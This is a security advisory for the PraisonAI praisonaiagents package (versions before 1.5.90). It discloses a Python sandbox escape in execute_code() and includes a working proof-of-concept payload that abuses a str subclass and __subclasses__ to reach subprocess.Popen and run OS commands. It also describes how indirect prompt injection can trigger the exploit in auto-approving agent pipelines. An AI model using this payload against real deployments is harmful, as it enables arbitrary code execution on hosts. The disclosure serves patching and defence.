GHSA-6vh2-h83c-9294
PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | praisonaiagents | < 1.5.90 | 1.5.90 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.
### Details
`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)
```python
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses
raise AttributeError(...)
# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
```
### PoC
```python
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```
### Impact
Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
References
External links from the advisory. They lead to third-party sites.